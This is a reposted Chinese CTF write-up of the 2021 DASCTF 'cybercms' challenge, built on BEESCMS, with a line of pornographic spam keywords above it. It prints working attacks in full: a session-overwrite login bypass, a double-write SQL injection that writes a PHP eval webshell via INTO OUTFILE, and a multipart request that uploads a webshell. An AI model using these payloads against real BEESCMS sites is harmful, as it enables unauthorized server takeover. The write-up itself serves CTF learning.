日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【CTF大赛】2021 DASCTF July cybercms 一探再探

發布時間:2025/3/21 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【CTF大赛】2021 DASCTF July cybercms 一探再探 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

引言

在前不久結束的 2021 DASCTF July X CBCTF 4th 比賽中,有一道名為 cybercms 的 web 題目。

預期解是從后臺登錄處進行 SQL 注入寫入一句話木馬,然而咱在做題的時候嘗試了另一種思路,用的是后臺登錄繞過 & 木馬上傳的打法。

由于比賽的時候半天打不通就十分難受,賽后還是想不明白就來稍微深入探究了一下,經過曲折最后終于成功打通了。

這篇就來記錄一下做這道題時候的心路歷程吧……

題目初探

cybercms

賽博CMS,只為安全而生

Hint: 信息搜集是一個web手必備的技能


很好,是 BEESCMS,head 里的 description 沒改,正文里其實也沒改完。

從官網找到了 官方 V4.0 源碼下載

(不過貌似沒啥用 后來發現還是有用的

后臺登錄繞過 & 上傳

參考 【代碼審計】 beescms 變量覆蓋漏洞導致后臺登陸繞過分析,$_SESSION 可以被任意覆蓋。

POST /_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999


然后直接可以訪問后臺了。

http://xxxxxxxxxxx/admin/admin.php

參考 代碼審計就該這么來3 beescms getshell

按照文中的思路,上傳一個后綴為 .php 的一句話木馬,并修改 Content-Type: image/png 來通過后端對文件類型的校驗。
【網安資料】
然而發現他文件目錄沒權限上傳啊,隨便上傳一個正常的圖片也是如此……

源碼泄露

麻了,做到一半才發現有 源碼泄露,/www.zip…

diff 大法好啊,看來官方源碼還是有用的 2333。

多了個 hackable/ 目錄,看起來只有這個目錄可寫的樣子。(雖然最后發現也不行

登錄還過濾了一下 SQL 注入。


注意的是還把 /* * 的過濾給去掉了。

上傳點源碼審計

再來看上傳部分的源碼。

審了一波源碼,發現其實可以 構造目錄穿越。


$up_file_name2 由 $pic_alt 而來,這個是可控的,只需要構造個目錄穿越到 hackable 目錄下就完事了。
【網安資料】
為了進到這里,上傳的時候記得再把 Content-Type: image/png 改好, is_alt 設為 1。

然而還是沒打通,報錯和上面的類似,也是 PHP 執行的時候文件目錄沒權限,只不過可以注意到文件名是 .php 了。

(咱也不知道為啥他 $pic_alt 沒傳進來,留空的話也不是隨機數,一臉懵逼

另一個上傳點審計

于是么得辦法,再挖了另一個文件上傳的點,考慮通過 修改已上傳圖片的接口 來進行上傳。

相應源碼如下。

這里的 $pic_path 和 $pic_name 都是可控的,任意改一個就完事了。當然這是 PHP/5.6.40,%00 截斷不可行 2333.

然而還是打不通……

絕絕子,挖了兩條上傳的路,試著繞到 hackable 目錄也打不通……

看來還是文件目錄的限制吧。

心態炸了啊啊啊啊啊。

SQL 注入寫馬(預期解)

害,賽后看了看大佬的 wp,么得辦法,還是得走 SQL 注入寫入文件唄。(佛了

再來看上面 diff 出來的關于 SQL 注入的語句。

function fl_value($str){if(empty($str)){return;}return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\.\.\/|\.\/| union | from | where | group | into |load_file |outfile/i','',$str); } define('INC_BEES','B'.'EE'.'SCMS'); function fl_html($str){return htmlspecialchars($str); } function f1_vvv($str){if(empty($str)){return;}if(preg_match("/\ /i", $str)){exit('Go away,bad hacker!!');}preg_replace('/0x/i','',$str);return $str; }

過濾了空格,倒是把 /* 過濾去掉了,另外把一些關鍵詞過濾為空了,雙寫繞過就完事了。

根據代碼里登錄的 SQL 語句【網安資料】

$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");

構造 SQL

# select xxx into outfile xxx # <?php eval($_REQUEST['m']);?>admin'/**/uni union on/**/seselectlect/**/null,null,null,null,0x3c3f706870206576616c28245f524551554553545b276d275d293b3f3e/**/in in to/**/outoutfilefile/**/'/var/www/html/upload/miao.php'#

(咱也不知道為啥 0x 沒被過濾為空,雙寫 0x 發現并沒有被刪除反而 SQL 執行報錯了

Payload:

POST /admin/login.php?action=ck_login HTTP/1.1user=admin%27%2F%2A%2A%2Funi%20union%20on%2F%2A%2A%2Fseselectlect%2F%2A%2A%2Fnull%2Cnull%2Cnull%2Cnull%2C0x3c3f706870206576616c28245f524551554553545b276d275d293b3f3e%2F%2A%2A%2Fin%20in%20to%2F%2A%2A%2Foutoutfilefile%2F%2A%2A%2F%27%2Fvar%2Fwww%2Fhtml%2Fupload%2Fmiao%2Ephp%27%23&password=miao&code=&submit=true&submit.x=43&submit.y=24

當然也可以用 char 函數寫入木馬。

admin'/**/uni union on/**/seselectlect/**/null,null,null,null,char(60,63,112,104,112,32,101,118,97,108,40,36,95,82,69,81,85,69,83,84,91,39,109,39,93,41,59,63,62)/**/in in to/**/outoutfilefile/**/'/var/www/html/upload/miao.php'#

進去發現果然 MySQL 就是 root 用戶起來的,于是就能寫入文件。

而 PHP 運行在 www-data 用戶,/var/www/html 目錄是給 www-data 用戶了,但子目錄沒遞歸變更屬主也沒給寫入權限就離譜。

$ ps -ef PID USER TIME COMMAND1 root 0:07 /bin/sh /usr/local/bin/docker-php-entrypoint10 root 0:21 /usr/bin/mysqld --user=root --skip-name-resolve --skip-networking=054 root 0:02 php-fpm: master process (/usr/local/etc/php-fpm.conf)60 root 0:00 nginx: master process nginx61 nginx 0:00 nginx: worker process62 www-data 0:00 php-fpm: pool www63 www-data 0:01 php-fpm: pool www 19798 root 0:00 sleep 5s 19799 www-data 0:00 ps -ef

也有可能預期解就只有這條路可走吧。



氣死了,下次直接 pyflag 算了(bushi

上傳點再探

噢對了,尋思著咱挖了兩個上傳點都整不通,實在過意不去啊。

既然前面發現了 www-data 用戶只有 /var/html/www 這個路徑有權限寫入,子目錄么有,那可以 傳到這個網站的根目錄 啊!
【網安資料】
這里用的是修改圖片的接口,也就是上面說的 第二處上傳點。

上傳以后抓包修改幾個地方,看圖。

也就是讓 move_uploaded_file 結果是移動到網站根目錄下。

POST /admin/admin_pic.php?nav=pic_list&admin_p_nav=content HTTP/1.1 Host: a10f5ec3-1cae-476e-bb23-31ed556086dd.node4.buuoj.cn Content-Length: 1546 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://a10f5ec3-1cae-476e-bb23-31ed556086dd.node4.buuoj.cn Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIZBj4kiaMbZzC9WL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://a10f5ec3-1cae-476e-bb23-31ed556086dd.node4.buuoj.cn/admin/admin_pic.php?action=edit_pic&id=33&nav=pic_list&admin_p_nav=content Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=775sgdevoo6c222oonmf0qhp71 Connection: close------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="is_thumb"0 ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="thumb_width"300 ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="thumb_height"200 ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="pic_alt"miao ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="new_pic"; filename="cmd.php" Content-Type: image/png<?php @eval($_POST['cmd']);?> ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="action"save_edit ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="pic_cate"1 ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="pic_path"./ ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="pic_name"1 ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="pic"upload/img/202107070904261782.jpg ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="pic_ext"jpg ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="id"33 ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="pic_thumb"img/202107070904261782_thumb.jpeg ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="xg_category"確定 ------WebKitFormBoundaryIZBj4kiaMbZzC9WL--

pic_path 留空也行。【網安資料】



吶,傳上來了,能用了。

喵喵落淚(【網安資料】

又想了想,尋思著是不是 iconv 的鍋啊,上傳經過這個函數時候東西都沒了……

// 第一個上傳點 // includes/fun.php#588-590 $up_file_name=empty($pic_alt)?date('YmdHis').rand(1,10000):$pic_alt; $up_file_name2=iconv('UTF-8','GBK',$up_file_name); $file_name=$path.$up_file_name2.'.'.$pic_name['extension'];// 第二個上傳點 // admin/admin_pic.php#64-65 $pic_name=$_POST['pic_name'];//圖片名稱 $pic_name = iconv('UTF-8','GBK',$pic_name);

phpinfo 看一眼。

好家伙,看起來是因為沒 libiconv 或者 glibc,所以這里面東西就變成空了……沒事了。

小結

其實是一次因為想不通而開始的深入探究,唉,這題做起來不容易啊……

想學網絡安全的朋友可以關注私信我哦!!!

總結

以上是生活随笔為你收集整理的【CTF大赛】2021 DASCTF July cybercms 一探再探的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。